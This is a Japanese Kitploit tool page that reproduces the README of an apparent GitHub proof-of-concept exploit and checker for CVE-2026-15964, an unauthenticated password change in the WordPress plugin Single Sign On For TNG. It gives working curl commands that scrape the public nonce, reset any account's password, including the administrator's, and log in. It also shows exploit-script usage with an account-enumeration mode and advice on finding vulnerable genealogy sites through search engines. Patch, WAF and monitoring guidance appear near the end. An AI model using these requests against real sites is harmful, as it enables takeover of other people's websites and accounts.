Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964 の PoC & チェッカー - WordPress プラグイン Single Sign On For TNG <= 2.0.0 における認証なしパスワード変更 (CVSS 9.8) | Kitploit
ツール/GitHubGitHub/instructor-admin/cve-2026-15964-poc
認証と認可特権昇格ウェブ脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテスト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964 の PoC & チェッカー - WordPress プラグイン Single Sign On For TNG <= 2.0.0 における認証なしパスワード変更 (CVSS 9.8)

リポジトリを見る
161ヶ月前未レビュー

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

未検証のパスワード変更による非認証の権限昇格 WordPress プラグイン Single Sign On For TNG に影響します。

深刻度Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (未検証のパスワード変更)
影響を受けるバージョンプラグインバージョン 1.0.0 ~ 2.0.0
修正バージョン2.1.0 (2026-07-27 リリース)
公開日2026-08-01
認証要件不要 (wp_ajax_nopriv_ssoprocess_ajax)
影響管理者を含む任意の WordPress アカウントのパスワードを変更可能 - サイト全体の乗っ取り
プラグインhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

認証されていない訪問者は誰でも、プラグイン 2.0.0 以前を実行しているサイト上の任意のアカウントのパスワードを変更できます。必要な HTTP リクエストは 2 つだけです:

  1. ホームページを GET し、SSOPWDREQUIREMENT JavaScript オブジェクトから nonce をコピーします。
  2. それを operation=setnewpassword、被害者のメールアドレス、新しいパスワードとともに admin-ajax.php に POST します。

残りの処理は WordPress コアの reset_password() が行います。トークンも、メール確認リンクも、権限チェックもありません。その後は管理者としてログインするだけです。

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

なぜ機能するのか

ハンドラは非認証ユーザー向けに登録されている

single-sign-on-for-tng.php (v2.0.0) 内:

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* は、セッションが一切ない状態でもハンドラに到達できることを意味します。

唯一の防御は、プラグインがすべての訪問者に渡す nonce

load_scripts() は wp_enqueue_scripts にフックされているため、すべてのフロントエンドページでプラグインはこれを HTML に出力します:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

これは次のように描画されます:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

そしてハンドラは次のようにそれを検証します:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

問題はここです: WordPress は nonce を wp_create_nonce($action) で uid とセッショントークンを使って計算します。ログアウト中の訪問者では、これらは 0 と空文字列になるため、すべての匿名訪問者がまったく同じ nonce を受け取ります。nonce は 12 時間ごと (nonce tick) にしか再生成されません。つまり、プラグインが任意の訪問者に出力する nonce は攻撃者にとっても有効です - 盗むべき秘密は存在せず、ページ自体に公開されているのです。

そして実際の変更は、所有権の証明が一切ないまま行われる

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() は WordPress コアの関数です。新しいハッシュを設定し、被害者を他のすべてのセッションからログアウトさせ、password_reset / after_password_reset アクションを発火させます。ここでは、呼び出し元がアカウント所有者であることを証明するものが何もないまま呼び出されます。

知っておく価値のある追加事項が 2 つあります:

  • この経路ではサーバー側のパスワード強度チェックがありません。 プラグインの MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC ルールは Forminator フォーム用の validate_form() でのみ強制され、ここでは一切実施されません。任意のパスワードが受け入れられます。
  • アカウント列挙。 {"success":true} と {"success":false} の違いで、メールアドレスが登録済みかどうかが分かります。チェッカーの --enum-only モードはこれを利用します。
  • 同じ関数内のおまけのバグ: operation=set_tzoffset は非認証のまま update_option('localtzoffset', $post['timezoneoffset']) を呼び出します。RCE に直接利用できるわけではありませんが、非認証のオプション書き込みであり、writeup で言及する価値があります。

2.1.0 で何が変わったか

2.0.0 と 2.1.0 を diff すると修正内容が明らかになります (そしてバグの存在が確認できます):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

さらに、newpasswordform() 内:

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

つまり 2.1.0 では、フローは次のようになります: 実際のリカバリリクエストがユーザーごとの custom_recovery_token + custom_recovery_nonce をユーザーメタに保存し、リカバリリンクがユーザー ID を保持し、フォームが両方を検証し、リカバリ期間 (timeout) が切れると AJAX ハンドラは実行を拒否します。有効なリカバリレコードを生成できない攻撃者は、もはや setnewpassword を操作できません。


再現手順 (手動)

ステップ 1 - nonce を取得する

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

ステップ 2 - パスワードを変更する

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

脆弱なインストールでの期待される応答: {"success":true}

ステップ 3 - ログインする

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

単一サイト向けエクスプロイト。非破壊的なモードも含まれます。

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

チェッカー: CVE-2026-15964-checker.py

自分が管理するサイトリスト用のバッチスキャナ。設計上、非破壊的 - パスワードを変更することはありません。

各サイトの分類方法:

  1. HTML フィンガープリント - ホームページ内の SSOPWDREQUIREMENT オブジェクト、または /wp-content/plugins/single-sign-on-for-tng/ アセットパス。
  2. バージョン - readme.txt の Stable tag: 行。<= 2.0.0 は脆弱、>= 2.1.0 は修正済み。これは CVE に基づく正式な判定です。
  3. 動作プローブ (--probe、バージョンを読み取れない場合のみ) - 存在しないメールアドレスで operation=setnewpassword を POST します。2.0.0 インストールはエラーメッセージなしで {"success":false} と応答し、2.1.0 インストールは「新しいパスワードを送信する時間が切れました」というメッセージで応答します。実在するメールアドレスが送信されることは決してありません - 送信すると実際にパスワードがリセットされてしまうからです。
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

出力例:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

判定結果: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR。UNKNOWN は通常、WAF、積極的な CDN キャッシュ、または readme をブロックしているサイトを意味します - そのようなサイトは手動で確認してください。


ツールをローカルでテストする

tests/mock_server.py は 6 つのケース (バージョンによる脆弱/修正済み、プローブによる脆弱/修正済み、プラグインなしの WordPress、非 WordPress) をエミュレートします。チェッカーのロジックは、実際のサイトに向ける前に、これを使って検証されました:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt で唯一の依存関係 (requests) がインストールされます。


現場からのメモ

正直な状況説明です。これがツールの使い方に影響するからです。

  • このプラグインは TNG (The Next Generation of Genealogy Sitebuilding)、つまり趣味の系図サイトをターゲットにしています。非常に小さなエコシステムです: wordpress.org での累計ダウンロード数は約 1,600、アクティブインストール数は非公開 (< 10)、最初のリリースは 2024 年 10 月。
  • 2.1.0 が登場したのは 2026-07-27 なので、ダウンロードの圧倒的多数は脆弱なバージョンです。インストールを見つけたとしても、それがまだ脆弱である可能性は非常に高いです。
  • 発見が難しい部分です。このプラグインは Shodan のインデックスに痕跡を残しません (思いつく限りのフィンガープリントを確認しました - 結果はゼロ)。Shodan が返す上位 1,000 の WordPress ホストをフィンガープリントしても、インストールは見つかりませんでした。最善の情報源は次の通りです: Google の inurl:"single-sign-on-for-tng"、ページの完全なソースをインデックスする検索エンジン (PublicWWW、Censys、FOFA) での "SSOPWDREQUIREMENT"、そして TNG コミュニティ自体 (tngsitebuilding.com、系図フォーラム)。
  • 実際の系図サイトでは、チェッカーの UNKNOWN カテゴリが比較的大きくなります - 多くのサイトが積極的なキャッシュの背後で稼働していたり、readme.txt をブロックしていたりします。それを「脆弱ではない」と解釈しないでください。手動で確認してください。

検出と対策

  • 2.1.0 に更新する (またはプラグインを完全に削除する)。
  • WAF ルール: action=ssoprocess_ajax が認証済みセッションからのものでない admin-ajax.php への POST を拒否し、匿名ソースからの setnewpassword をアラートする。
  • wp_users.user_pass ハッシュの変更と password_reset / after_password_reset アクションを監視し、パスワード変更直後の管理者ログインに注意する。
  • ssoajaxnonce は公開情報として扱う - 実際、常に公開されていました。

参照

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • 脆弱なソース (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • 修正済みソース (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

免責事項

このリポジトリは認可されたセキュリティテストと教育目的のみを対象としています。行動の責任はすべて自分自身にあります。所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して、これらのツールを実行しないでください。コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪です。

ツールをダウンロード